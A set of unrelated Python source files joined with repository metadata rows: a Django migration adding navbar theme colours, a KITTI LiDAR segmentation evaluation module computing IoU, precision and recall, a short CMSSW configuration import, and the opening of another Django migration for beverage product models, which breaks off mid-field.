from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('appearance', '0015_auto_20220321_0937'),
]
operations = [
migrations.AddField(
model_name='theme',
name='rnav_bg_hover',
field=models.CharField(blank=True, help_text='(Hover action)The background color of button on right navbar.', max_length=7, verbose_name='[Right Navbar] Button Background Color(Hover action)'),
),
migrations.AddField(
model_name='theme',
name='rnav_ex_bg_hover',
field=models.CharField(blank=True, help_text='(Expanded+Hover Action)The background color of panel on right navbar menu list when hover.', max_length=7, verbose_name='[Right Navbar] Expanded Panel Background Color(Expanded+Hover action)'),
),
migrations.AddField(
model_name='theme',
name='rnav_ex_text_hover',
field=models.CharField(blank=True, help_text='(Expanded+Hover Action)The text color of panel on right navbar menu list when hover.', max_length=7, verbose_name='[Right Navbar] Expanded Panel Text Color(Expanded+Hover action)'),
),
migrations.AddField(
model_name='theme',
name='rnav_panelex_bg',
field=models.CharField(blank=True, help_text='(Expanded Action)The background color of panel on right navbar menu list.', max_length=7, verbose_name='[Right Navbar] Expanded Panel Background Color(Expanded action)'),
),
migrations.AddField(
model_name='theme',
name='rnav_panelex_text',
field=models.CharField(blank=True, help_text='(Expanded Action)The text color of panel on right navbar menu list.', max_length=7, verbose_name='[Right Navbar] Expanded Panel Text Color(Expanded action)'),
),
migrations.AddField(
model_name='theme',
name='rnav_text_hover',
field=models.CharField(blank=True, help_text='(Hover action)The text color of button on right navbar.', max_length=7, verbose_name='[Right Navbar] Button Text Color(Hover action)'),
),
]
| 50.613636 | 251 | 0.664122 | 279 | 2,227 | 5.154122 | 0.204301 | 0.091794 | 0.095967 | 0.112656 | 0.864395 | 0.864395 | 0.854659 | 0.826843 | 0.826843 | 0.808762 | 0 | 0.022106 | 0.22811 | 2,227 | 43 | 252 | 51.790698 | 0.814427 | 0.020656 | 0 | 0.486486 | 1 | 0 | 0.430014 | 0.010555 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a46cf9f0086e24da556192260a2f3a7ec95d5182 | 32,939 | py | Python | lidar_segmentation/evaluation.py | ayushjain1144/LDLS | 314d5930992713acc58097d3aacb23929c036fdd | [
"MIT"
] | 52 | 2019-03-25T15:55:38.000Z | 2022-02-10T16:48:33.000Z | lidar_segmentation/evaluation.py | ayushjain1144/LDLS | 314d5930992713acc58097d3aacb23929c036fdd | [
"MIT"
] | 6 | 2020-01-23T10:20:31.000Z | 2022-01-25T05:51:41.000Z | lidar_segmentation/evaluation.py | ayushjain1144/LDLS | 314d5930992713acc58097d3aacb23929c036fdd | [
"MIT"
] | 13 | 2019-03-29T20:39:11.000Z | 2021-06-14T14:12:33.000Z | """
Evaluate results.
"""
# from lidarlabel_old import KittiData, KittiObject, KittiGroundTruth, load_labeling_results, load_gt, KITTI_CLASSES, KITTI_TO_COCO
# from lidarlabel_old import load_avod_labeling_results, load_frustum_labeling_results
from lidar_segmentation.segmentation import LidarSegmentationResult
from lidar_segmentation.utils import CLASS_NAMES
import numpy as np
import time
from multiprocessing import Pool, cpu_count
from scipy.optimize import linear_sum_assignment
import matplotlib.pyplot as plt
import seaborn as sns
sns.set()
GROUND_LEVEL = -1.6
class LidarSegmentationGroundTruth(object):
"""
Segmentation ground truth.
"""
def __init__(self, instance_labels, class_labels):
self.instance_labels = np.array(instance_labels)
self.class_labels = np.array(class_labels)
def filter(self, filter_array):
self.instance_labels = self.instance_labels[filter_array]
self.class_labels = self.class_labels[filter_array]
@classmethod
def load_file(cls, filename):
"""
Load ground truth from a .txt file with rows formatted as:
instance_label class_label
Instance and class labels are separated by a space.
instance_label should be castable to an int,
and class_label will be used as a string.
Parameters
----------
filename: str
Name of file to load
Returns
-------
LidarSegmentationGroundTruth
"""
with open(filename, "r") as loadfile:
lines = loadfile.readlines()
splitlines = [line.split(" ") for line in lines]
instance_labels = [int(s[0]) for s in splitlines]
class_labels = [s[1] for s in splitlines]
class_labels = [l[:-1] if l.endswith('\n') else l for l in class_labels]
return cls(instance_labels, class_labels)
# with Pool(n_workers) as p:
# results_list = p.map(load_avod_labeling_results, frame_range)
@property
def n_instances(self):
return len(np.unique(self.instance_labels))
def get_dont_care_indices(gt):
"""
Find indices of all points in DontCare, Van, or Cyclist regions from
the ground truth labeling.
"""
all_dont_care = np.array([False for i in range(len(gt.lidar))])
for obj in gt.objects:
if obj.object_type == "DontCare":
left, top, right, bottom = obj.bbox
proj_x = gt.projection['x'].values
proj_y = gt.projection['y'].values
in_x = np.logical_and(left < proj_x, proj_x < right)
in_y = np.logical_and(top < proj_y, proj_y < bottom)
dont_care = np.logical_and(in_x, in_y)
all_dont_care = np.logical_or(all_dont_care, dont_care)
invalid_class = np.logical_or(gt.lidar['class_label'].values == "Van",
gt.lidar['class_label'].values == "Cyclist")
invalid_class = np.logical_or(invalid_class,
gt.lidar['class_label'].values == "Misc")
all_dont_care = np.logical_or(all_dont_care, invalid_class)
return all_dont_care
def evaluate_semantic_segmentation(results_list, gt_list, range_limit=None,
cp_only=False, filter_ground=False,
return_pr=False, remove_dont_care=False,
return_pr_iu=False, iteration=None):
"""
Evaluate labeling result as semantic segmentation (i.e. without considering object instances)
Reports IoU over classes
"""
# KITTI objects we don't care about
# Any points inside the bounding box for one of these object classes will be ignored
# This helps because e.g. KITTI Van objects can be identified by Mask-RCNN as
# either trucks or cars, and Cyclists can be identified as bicycles, motorcycles, or persons.
objects_to_ignore = ["DontCare", "Van", "Cyclist"]
# Define list of classes to evaluate
if cp_only:
kitti_names = ['Car', 'Pedestrian']
coco_names = ['car', 'person']
else:
kitti_names = ['Car', 'Pedestrian', 'Truck',
'Tram'] # These are KITTI object class names
coco_names = ['car', 'person', 'truck', 'train']
# Keep running total of intersection and union values, for each class
i_totals = [0 for c in kitti_names]
u_totals = [0 for c in kitti_names]
fp_totals = [0 for c in kitti_names]
fn_totals = [0 for c in kitti_names]
for (results, gt) in zip(results_list, gt_list):
# Get object class labels (not instance labels)
if iteration is not None:
results_class_ids = results.class_labels(iteration)
else:
results_class_ids = results.class_labels()
results_class_labels = np.array([CLASS_NAMES[i] for i in results_class_ids])
gt_class_labels = gt.class_labels
if len(results_class_labels) != len(gt_class_labels):
gt_class_labels = gt_class_labels[results.in_camera_view]
# Find indices of lidar points that are in "DontCare" regions
if remove_dont_care:
all_dont_care = get_dont_care_indices(gt)
# print("Removing %d DontCare, Van, Cyclist points" % np.sum(all_dont_care))
results_class_labels[all_dont_care] = "BG"
gt_class_labels[all_dont_care] = "BG"
# Set Person_sitting to Pedestrian
# gt_class_labels[gt_class_labels == "Person_sitting"] = "Pedestrian"
if range_limit is not None:
lidar_points = results.points
ranges = np.linalg.norm(lidar_points, axis=1)
in_range = ranges < range_limit
results_class_labels = results_class_labels[in_range]
gt_class_labels = gt_class_labels[in_range]
if filter_ground:
lidar_points = results.points
if range_limit is not None:
lidar_points = lidar_points[in_range,:]
not_ground = lidar_points[:,2] > GROUND_LEVEL
results_class_labels = results_class_labels[not_ground]
gt_class_labels = gt_class_labels[not_ground]
# For each class C:
for i in range(len(kitti_names)):
kitti_class = kitti_names[i]
coco_class = coco_names[i]
# Find which lidar points are labelled as this class in the results,
# and in the KITTI ground truth
# account for results with KITTI class labels or COCO class lables
r = np.logical_or(results_class_labels == coco_class, results_class_labels == kitti_class)
g = gt_class_labels == kitti_class
intersection = np.logical_and(r, g)
union = np.logical_or(r, g)
i_totals[i] += np.sum(intersection)
u_totals[i] += np.sum(union)
fp_totals[i] += np.sum(np.logical_and(r, np.logical_not(g)))
fn_totals[i] += np.sum(np.logical_and(g, np.logical_not(r)))
# iou = np.sum(intersection) / np.sum(union)
# print("IoU for class %s is %.3f" % (kitti_class, iou))
# true positives = intersection
tp_totals = i_totals
if return_pr:
return tp_totals, fp_totals, fn_totals
elif return_pr_iu:
return tp_totals, fp_totals, fn_totals, i_totals, u_totals
else:
iou_list = [i / u for (i, u) in zip(i_totals, u_totals)]
return iou_list
def semantic_tp_fp_fn(results_list, gt_list, range_limit=None,
cp_only=False, filter_ground=False,
return_pr=False, remove_dont_care=False,
return_pr_iu=False, iteration=None):
"""
Evaluate labeling result as semantic segmentation (i.e. without considering object instances)
Reports IoU over classes
"""
# KITTI objects we don't care about
# Any points inside the bounding box for one of these object classes will be ignored
# This helps because e.g. KITTI Van objects can be identified by Mask-RCNN as
# either trucks or cars, and Cyclists can be identified as bicycles, motorcycles, or persons.
objects_to_ignore = ["DontCare", "Van", "Cyclist"]
# Define list of classes to evaluate
if cp_only:
kitti_names = ['Car', 'Pedestrian']
coco_names = ['car', 'person']
else:
kitti_names = ['Car', 'Pedestrian', 'Truck',
'Tram'] # These are KITTI object class names
coco_names = ['car', 'person', 'truck', 'train']
# Keep running total of intersection and union values, for each class
i_totals = [0 for c in kitti_names]
u_totals = [0 for c in kitti_names]
fp_totals = [0 for c in kitti_names]
fn_totals = [0 for c in kitti_names]
for (results, gt) in zip(results_list, gt_list):
# Get object class labels (not instance labels)
if iteration is None:
results_class_ids = results.class_labels()
else:
results_class_ids = results.class_labels(iteration)
results_class_labels = np.array([CLASS_NAMES[i] for i in results_class_ids])
gt_class_labels = gt.class_labels
if len(results_class_labels) != len(gt_class_labels):
gt_class_labels = gt_class_labels[results.in_camera_view]
# Find indices of lidar points that are in "DontCare" regions
if remove_dont_care:
all_dont_care = get_dont_care_indices(gt)
# print("Removing %d DontCare, Van, Cyclist points" % np.sum(all_dont_care))
results_class_labels[all_dont_care] = "BG"
gt_class_labels[all_dont_care] = "BG"
# Set Person_sitting to Pedestrian
# gt_class_labels[gt_class_labels == "Person_sitting"] = "Pedestrian"
if range_limit is not None:
lidar_points = results.points
ranges = np.linalg.norm(lidar_points, axis=1)
in_range = ranges < range_limit
results_class_labels = results_class_labels[in_range]
gt_class_labels = gt_class_labels[in_range]
if filter_ground:
lidar_points = results.points
if range_limit is not None:
lidar_points = lidar_points[in_range,:]
not_ground = lidar_points[:,2] > GROUND_LEVEL
results_class_labels = results_class_labels[not_ground]
gt_class_labels = gt_class_labels[not_ground]
# For each class C:
for i in range(len(kitti_names)):
kitti_class = kitti_names[i]
coco_class = coco_names[i]
# Find which lidar points are labelled as this class in the results,
# and in the KITTI ground truth
# account for results with KITTI class labels or COCO class lables
r = np.logical_or(results_class_labels == coco_class, results_class_labels == kitti_class)
g = gt_class_labels == kitti_class
intersection = np.logical_and(r, g)
union = np.logical_or(r, g)
i_totals[i] += np.sum(intersection)
u_totals[i] += np.sum(union)
fp_totals[i] += np.sum(np.logical_and(r, np.logical_not(g)))
fn_totals[i] += np.sum(np.logical_and(g, np.logical_not(r)))
# iou = np.sum(intersection) / np.sum(union)
# print("IoU for class %s is %.3f" % (kitti_class, iou))
# true positives = intersection
tp_totals = i_totals
if return_pr:
return tp_totals, fp_totals, fn_totals
elif return_pr_iu:
return tp_totals, fp_totals, fn_totals, i_totals, u_totals
else:
iou_list = [i / u for (i, u) in zip(i_totals, u_totals)]
return iou_list
def print_iou_results(iou_list, classes=('Car', 'Pedestrian', 'Truck', 'Tram')):
for (iou, name) in zip(iou_list, classes):
print("IoU for class %s is %.3f" % (name, iou))
class InstanceSegmentationResults(object):
def __init__(self, iou_threshold, n_classes):
self.iou_threshold = iou_threshold
self.tp_totals = [0 for i in range(n_classes)]
self.fp_totals = [0 for i in range(n_classes)]
self.fn_totals = [0 for i in range(n_classes)]
def evaluate_instance_segmentation(results_list, gt_list,
iou_threshold=0.7, range_limit=None,
cp_only=False, filter_ground=False,
remove_dont_care=False, iteration=None,
remove_outliers=False):
"""
Evaluate labeling result as instance segmentation
Reports IoU over classes
Attributes
----------
results_list: list
List of LidarSegmentationResult
gt_list: list
List of LidarSegmentationGroundTruth
iou_threshold: float
range_limits: tuple, or None
Specify range_limits to only look at objects at certain distances.
Should contain two float values, e.g. (0,10) to look at objects
from 0 to 10 meters away.
"""
# KITTI objects we don't care about
# Any points inside the bounding box for one of these object classes will be ignored
# This helps because e.g. KITTI Van objects can be identified by Mask-RCNN as
# either trucks or cars, and Cyclists can be identified as bicycles, motorcycles, or persons.
objects_to_ignore = ["DontCare", "Van", "Cyclist"]
# Define list of classes to evaluate
if cp_only:
kitti_names = ['Car', 'Pedestrian']
coco_names = ['car', 'person']
else:
kitti_names = ['Car', 'Pedestrian', 'Truck',
'Tram'] # These are KITTI object class names
coco_names = ['car', 'person', 'truck', 'train']
# Keep running total of intersection and union values, for each class
tp_totals = [0 for c in kitti_names]
fp_totals = [0 for c in kitti_names]
fn_totals = [0 for c in kitti_names]
# iou_thresholds = [0.50, 0.55, 0.60, 0.65, 0.70, 0.75, 0.80, 0.85, 0.90, 0.95]
# eval_results = [InstanceSegmentationResults(threshold) for threshold in iou_thresholds]
for (results, gt) in zip(results_list, gt_list):
# if range_limits is not None:
# ranges = np.linalg.norm(results[['x', 'y', 'z']].values,
# axis=1)
# Get object class labels (not instance labels)
if iteration is None:
results_class_ids = results.class_labels()
else:
results_class_ids = results.class_labels(iteration)
results_class_labels = np.array([CLASS_NAMES[i] for i in results_class_ids])
gt_class_labels = gt.class_labels
results_instance_labels = results.instance_labels()
gt_instance_labels = gt.instance_labels
if len(results_class_labels) != len(gt_class_labels):
gt_class_labels = gt_class_labels[results.in_camera_view]
if len(results_instance_labels) != len(gt_instance_labels):
gt_instance_labels = gt_instance_labels[results.in_camera_view]
# Find indices of lidar points that are in "DontCare" regions
# all_dont_care = get_dont_care_indices(gt)
# print("Removing %d DontCare, Van, Cyclist points" % np.sum(all_dont_care))
# results_class_labels[all_dont_care] = "BG"
# gt_class_labels[all_dont_care] = "BG"
# results_instance_labels[all_dont_care] = -1
# gt_instance_labels[all_dont_care] = -1
# Set Person_sitting to Pedestrian
# gt_class_labels[gt_class_labels == "Person_sitting"] = "Pedestrian"
if range_limit is not None:
lidar_points = results.points
ranges = np.linalg.norm(lidar_points, axis=1)
in_range = ranges < range_limit
results_class_labels = results_class_labels[in_range]
results_instance_labels = results_instance_labels[in_range]
gt_class_labels = gt_class_labels[in_range]
gt_instance_labels = gt_instance_labels[in_range]
if filter_ground:
lidar_points = results.points
if range_limit is not None:
lidar_points = lidar_points[in_range,:]
not_ground = lidar_points[:,2] > GROUND_LEVEL
results_class_labels = results_class_labels[not_ground]
results_instance_labels = results_instance_labels[not_ground]
gt_class_labels = gt_class_labels[not_ground]
gt_instance_labels = gt_instance_labels[not_ground]
# For each class C:
for i in range(len(kitti_names)):
kitti_class = kitti_names[i]
coco_class = coco_names[i]
# Find which lidar points are labelled as this class in the results,
# and in the KITTI ground truth
# account for KITTI or COCO class labels
r_is_class = np.logical_or(results_class_labels == coco_class, results_class_labels == kitti_class)
g_is_class = gt_class_labels == kitti_class
# Find instances of this class, in results and in ground truth
r_instances = np.unique(results_instance_labels[r_is_class])
g_instances = np.unique(gt_instance_labels[g_is_class])
n_r = len(r_instances)
n_g = len(g_instances)
# Create IoU matrix
# Is n by m, where n is the number of object instances in the segmentation results,
# and m is the number of instances in the ground truth
iou_matrix = np.zeros((n_r, n_g))
for row in range(n_r):
r_instance = results_instance_labels == r_instances[
row] # Results instance number
for col in range(n_g):
g_instance = gt_instance_labels == g_instances[
col] # GT instance number
intersection = np.logical_and(r_instance, g_instance)
union = np.logical_or(r_instance, g_instance)
iou_matrix[row, col] = np.sum(intersection) / np.sum(
union)
r_matching, g_matching = linear_sum_assignment(
cost_matrix=1 - iou_matrix)
matching_matrix = np.zeros(iou_matrix.shape, dtype=int)
tp_count = 0
for (r, g) in zip(r_matching, g_matching):
iou = iou_matrix[r, g]
# print("Maximal matching: Matched results %d to GT %d, with iou %.3f" % (r,g,iou))
if iou > iou_threshold:
matching_matrix[r, g] = 1
tp_count += 1
# The number of all-zero rows in the matching matrix is the
# number of false positives
zero_rows = ~np.any(matching_matrix, axis=1)
fp_count = np.sum(zero_rows)
# The number of all-zero columns in the matching matrix is
# the number of false negatives (undetected GT objects)
zero_cols = ~np.any(matching_matrix, axis=0)
fn_count = np.sum(zero_cols)
tp_totals[i] += tp_count
fp_totals[i] += fp_count
fn_totals[i] += fn_count
return tp_totals, fp_totals, fn_totals
# precision = [tp_count / (tp_count + fn_count)
# recall = [tp_count / (tp_count + fp_count)
# print("For class %s, precision is %.3f and recall is %.3f" % (kitti_class, precision, recall))
# print("TP=%d, FP=%d, FN=%d" % (tp_count, fp_count, fn_count))
# iou_list = [i/u for (i,u) in zip(i_totals, u_totals)]
# return iou_list
# evaluate_instance_segmentation(results_list[100:200], gt_list[100:200])
# tp_totals, fp_totals, fn_totals = evaluate_instance_segmentation(
# results_list, gt_list)
def print_pr_results(tp_totals, fp_totals, fn_totals,
classes=('Car', 'Pedestrian', 'Truck', 'Tram')):
for (tp, fp, fn, name) in zip(tp_totals, fp_totals, fn_totals,
classes):
precision = tp / (tp + fp)
recall = tp / (tp + fn)
print("For class %s, precision is %.3f and recall is %.3f" % (
name, precision, recall))
print("TP=%d, FP=%d, FN=%d" % (tp, fp, fn))
# iou_list = evaluate_semantic_segmentation(results_list, gt_list)
def calculate_precision_recall(tp_totals, fp_totals, fn_totals):
"""
Calculate list of precision and recall values from lists of true pos.,
false pos., false neg. values.
"""
precision = [tp / (tp+fp) if (tp+fp)>0 else 0 for (tp, fp) in zip(tp_totals, fp_totals)]
recall = [tp / (tp+fn) if (tp+fn)>0 else 0 for (tp, fn) in zip(tp_totals, fn_totals)]
return precision, recall
def plot_range_vs_accuracy(results_list, gt_list, filter_ground=False, cp_only=True,
savefile=None):
"""
Evaluate labeling result as instance segmentation
Reports IoU over classes
Attributes
----------
results_list: list
List of LidarSegmentationResult
gt_list: list
List of LidarSegmentationGroundTruth
iou_threshold: float
range_limits: tuple, or None
Specify range_limits to only look at objects at certain distances.
Should contain two float values, e.g. (0,10) to look at objects
from 0 to 10 meters away.
"""
# KITTI objects we don't care about
# Any points inside the bounding box for one of these object classes will be ignored
# This helps because e.g. KITTI Van objects can be identified by Mask-RCNN as
# either trucks or cars, and Cyclists can be identified as bicycles, motorcycles, or persons.
objects_to_ignore = ["DontCare", "Van", "Cyclist"]
# Define list of classes to evaluate
if cp_only:
kitti_names = ['Car', 'Pedestrian']
coco_names = ['car', 'person']
else:
kitti_names = ['Car', 'Pedestrian', 'Truck',
'Tram'] # These are KITTI object class names
coco_names = ['car', 'person', 'truck', 'train']
# Keep running total of intersection and union values, for each class
tp_totals = [0 for c in kitti_names]
fp_totals = [0 for c in kitti_names]
fn_totals = [0 for c in kitti_names]
class_points = [np.empty((0,2)) for c in kitti_names]
class_styles = ['.b', '^r']
# iou_thresholds = [0.50, 0.55, 0.60, 0.65, 0.70, 0.75, 0.80, 0.85, 0.90, 0.95]
# eval_results = [InstanceSegmentationResults(threshold) for threshold in iou_thresholds]
for (results, gt) in zip(results_list, gt_list):
# if range_limits is not None:
# ranges = np.linalg.norm(results[['x', 'y', 'z']].values,
# axis=1)
# Get object class labels (not instance labels)
results_class_ids = results.class_labels()
results_class_labels = np.array([CLASS_NAMES[i] for i in results_class_ids])
gt_class_labels = gt.class_labels
results_instance_labels = results.instance_labels()
gt_instance_labels = gt.instance_labels
# Find indices of lidar points that are in "DontCare" regions
# all_dont_care = get_dont_care_indices(gt)
# print("Removing %d DontCare, Van, Cyclist points" % np.sum(all_dont_care))
# results_class_labels[all_dont_care] = "BG"
# gt_class_labels[all_dont_care] = "BG"
# results_instance_labels[all_dont_care] = -1
# gt_instance_labels[all_dont_care] = -1
# Set Person_sitting to Pedestrian
# gt_class_labels[gt_class_labels == "Person_sitting"] = "Pedestrian"
# if range_limit is not None:
# lidar_points = results.points
# ranges = np.linalg.norm(lidar_points, axis=1)
# in_range = ranges < range_limit
# results_class_labels = results_class_labels[in_range]
# results_instance_labels = results_instance_labels[in_range]
# gt_class_labels = gt_class_labels[in_range]
# gt_instance_labels = gt_instance_labels[in_range]
lidar_points = results.points
ranges = np.linalg.norm(lidar_points, axis=1)
if filter_ground:
not_ground = lidar_points[:,2] > GROUND_LEVEL
results_class_labels = results_class_labels[not_ground]
results_instance_labels = results_instance_labels[not_ground]
gt_class_labels = gt_class_labels[not_ground]
gt_instance_labels = gt_instance_labels[not_ground]
ranges = ranges[not_ground]
# Calculate mean range to each ground truth instance
instance_ranges = [np.mean(ranges[gt_instance_labels == i]) for i in
range(1, gt.n_instances)]
# For each class C:
for i in range(len(kitti_names)):
kitti_class = kitti_names[i]
coco_class = coco_names[i]
# Find which lidar points are labelled as this class in the results,
# and in the KITTI ground truth
# account for KITTI or COCO class labels
r_is_class = np.logical_or(results_class_labels == coco_class, results_class_labels == kitti_class)
g_is_class = gt_class_labels == kitti_class
# Find instances of this class, in results and in ground truth
r_instances = np.unique(results_instance_labels[r_is_class])
g_instances = np.unique(gt_instance_labels[g_is_class])
n_r = len(r_instances)
n_g = len(g_instances)
# Create IoU matrix
# Is n by m, where n is the number of object instances in the segmentation results,
# and m is the number of instances in the ground truth
iou_matrix = np.zeros((n_r, n_g))
for row in range(n_r):
r_instance = results_instance_labels == r_instances[
row] # Results instance number
for col in range(n_g):
g_instance = gt_instance_labels == g_instances[
col] # GT instance number
intersection = np.logical_and(r_instance, g_instance)
union = np.logical_or(r_instance, g_instance)
iou_matrix[row, col] = np.sum(intersection) / np.sum(
union)
r_matching, g_matching = linear_sum_assignment(
cost_matrix=1 - iou_matrix)
matching_matrix = np.zeros(iou_matrix.shape, dtype=int)
tp_count = 0
for (r, g) in zip(r_matching, g_matching):
iou = iou_matrix[r, g]
# print("Maximal matching: Matched results %d to GT %d, with iou %.3f" % (r,g,iou))
pt = np.array([instance_ranges[g], iou]).reshape((1,2))
class_points[i] = np.append(class_points[i], pt, axis=0)
# The number of all-zero rows in the matching matrix is the
# number of false positives
# zero_rows = ~np.any(matching_matrix, axis=1)
# fp_count = np.sum(zero_rows)
# The number of all-zero columns in the matching matrix is
# the number of false negatives (undetected GT objects)
# zero_cols = ~np.any(matching_matrix, axis=0)
# fn_count = np.sum(zero_cols)
# tp_totals[i] += tp_count
# fp_totals[i] += fp_count
# fn_totals[i] += fn_count
if savefile is not None:
np.savez(savefile, car_pts=class_points[0], pedestrian_pts=class_points[1])
for pts, style in zip(class_points, class_styles):
plt.plot(pts[:,0], pts[:,1], style)
plt.legend(kitti_names)
plt.xlabel("Range to object centroid [m]")
plt.ylabel("IoU")
plt.savefig("range_scatter.eps", bbox_inches='tight')
plt.show()
def find_tp_fp_fn(results, gt, kitti_names, coco_names, iou_threshold=0.5,
range_limit=None, filter_ground=False):
"""
Parameters
----------
results
gt
kitti_names
coco_names
range_limit
filter_ground
Returns
-------
tuple list, int list, int list
Represents (true positives, false positives, false negatives)
True positives formatted as (results_index, gt_index) - shows which
correctly matched results instances map to which ground truth instances.
False positives is list of indices into the results instances,
False negatives is list of indices into the gt instances.
"""
# if range_limits is not None:
# ranges = np.linalg.norm(results[['x', 'y', 'z']].values,
# axis=1)
# Get object class labels (not instance labels)
results_class_ids = results.class_labels
results_class_labels = np.array([CLASS_NAMES[i] for i in results_class_ids])
gt_class_labels = gt.class_labels
results_instance_labels = results.instance_labels
gt_instance_labels = gt.instance_labels
# Find indices of lidar points that are in "DontCare" regions
# all_dont_care = get_dont_care_indices(gt)
# print("Removing %d DontCare, Van, Cyclist points" % np.sum(all_dont_care))
# results_class_labels[all_dont_care] = "BG"
# gt_class_labels[all_dont_care] = "BG"
# results_instance_labels[all_dont_care] = -1
# gt_instance_labels[all_dont_care] = -1
# Set Person_sitting to Pedestrian
# gt_class_labels[gt_class_labels == "Person_sitting"] = "Pedestrian"
tp_list = []
fp_list = []
fn_list = []
if range_limit is not None:
lidar_points = results.points
ranges = np.linalg.norm(lidar_points, axis=1)
in_range = ranges < range_limit
results_class_labels = results_class_labels[in_range]
results_instance_labels = results_instance_labels[in_range]
gt_class_labels = gt_class_labels[in_range]
gt_instance_labels = gt_instance_labels[in_range]
if filter_ground:
lidar_points = results.points
if range_limit is not None:
lidar_points = lidar_points[in_range,:]
not_ground = lidar_points[:,2] > GROUND_LEVEL
results_class_labels = results_class_labels[not_ground]
results_instance_labels = results_instance_labels[not_ground]
gt_class_labels = gt_class_labels[not_ground]
gt_instance_labels = gt_instance_labels[not_ground]
# For each class C:
for i in range(len(kitti_names)):
kitti_class = kitti_names[i]
coco_class = coco_names[i]
# Find which lidar points are labelled as this class in the results,
# and in the KITTI ground truth
# account for KITTI or COCO class labels
r_is_class = np.logical_or(results_class_labels == coco_class, results_class_labels == kitti_class)
g_is_class = gt_class_labels == kitti_class
# Find instances of this class, in results and in ground truth
r_instances = np.unique(results_instance_labels[r_is_class])
g_instances = np.unique(gt_instance_labels[g_is_class])
n_r = len(r_instances)
n_g = len(g_instances)
# Create IoU matrix
# Is n by m, where n is the number of object instances in the segmentation results,
# and m is the number of instances in the ground truth
iou_matrix = np.zeros((n_r, n_g))
for row in range(n_r):
r_instance = results_instance_labels == r_instances[
row] # Results instance number
for col in range(n_g):
g_instance = gt_instance_labels == g_instances[
col] # GT instance number
intersection = np.logical_and(r_instance, g_instance)
union = np.logical_or(r_instance, g_instance)
iou_matrix[row, col] = np.sum(intersection) / np.sum(
union)
r_matching, g_matching = linear_sum_assignment(
cost_matrix=1 - iou_matrix)
matching_matrix = np.zeros(iou_matrix.shape, dtype=int)
tp_count = 0
for (r, g) in zip(r_matching, g_matching):
iou = iou_matrix[r, g]
# print("Maximal matching: Matched results %d to GT %d, with iou %.3f" % (r,g,iou))
if iou > iou_threshold:
matching_matrix[r, g] = 1
tp_count += 1
tp_list.append((r,g))
# The number of all-zero rows in the matching matrix is the
# number of false positives
zero_rows = ~np.any(matching_matrix, axis=1)
fp_list = fp_list + list(zero_rows.astype(int))
fp_count = np.sum(zero_rows)
# The number of all-zero columns in the matching matrix is
# the number of false negatives (undetected GT objects)
zero_cols = ~np.any(matching_matrix, axis=0)
fn_count = np.sum(zero_cols)
tp_totals[i] += tp_count
fp_totals[i] += fp_count
fn_totals[i] += fn_count
| 40.867246 | 131 | 0.628586 | 4,450 | 32,939 | 4.395506 | 0.07191 | 0.073108 | 0.039213 | 0.019939 | 0.83272 | 0.819632 | 0.803323 | 0.786656 | 0.783282 | 0.774693 | 0 | 0.007219 | 0.285103 | 32,939 | 805 | 132 | 40.918012 | 0.823424 | 0.326725 | 0 | 0.744472 | 0 | 0 | 0.027216 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034398 | false | 0 | 0.019656 | 0.002457 | 0.085995 | 0.012285 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f11aa38e90a1c7e995d13888984afe00fa46e0e4 | 181 | py | Python | Configuration/JetMET/python/CaloConditions_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | Configuration/JetMET/python/CaloConditions_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | Configuration/JetMET/python/CaloConditions_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
from CalibCalorimetry.Configuration.Hcal_FakeConditions_cff import *
from CalibCalorimetry.Configuration.Ecal_FakeConditions_cff import *
| 30.166667 | 68 | 0.878453 | 20 | 181 | 7.75 | 0.65 | 0.258065 | 0.425806 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077348 | 181 | 5 | 69 | 36.2 | 0.928144 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f120c3df994cb3947ec9cd366ac768b32f5100a6 | 1,614 | py | Python | products/migrations/0004_beer_rum_vodka_wine.py | Endraraaz/Raj-Beverages | fcf767d70db4c7d368a2b3c62f3e48dbc089d9b4 | [
"Apache-2.0"
] | null | null | null | products/migrations/0004_beer_rum_vodka_wine.py | Endraraaz/Raj-Beverages | fcf767d70db4c7d368a2b3c62f3e48dbc089d9b4 | [
"Apache-2.0"
] | null | null | null | products/migrations/0004_beer_rum_vodka_wine.py | Endraraaz/Raj-Beverages | fcf767d70db4c7d368a2b3c62f3e48dbc089d9b4 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.0.2 on 2018-11-15 02:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0003_auto_20181115_0802'),
]
operations = [
migrations.CreateModel(
name='beer',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
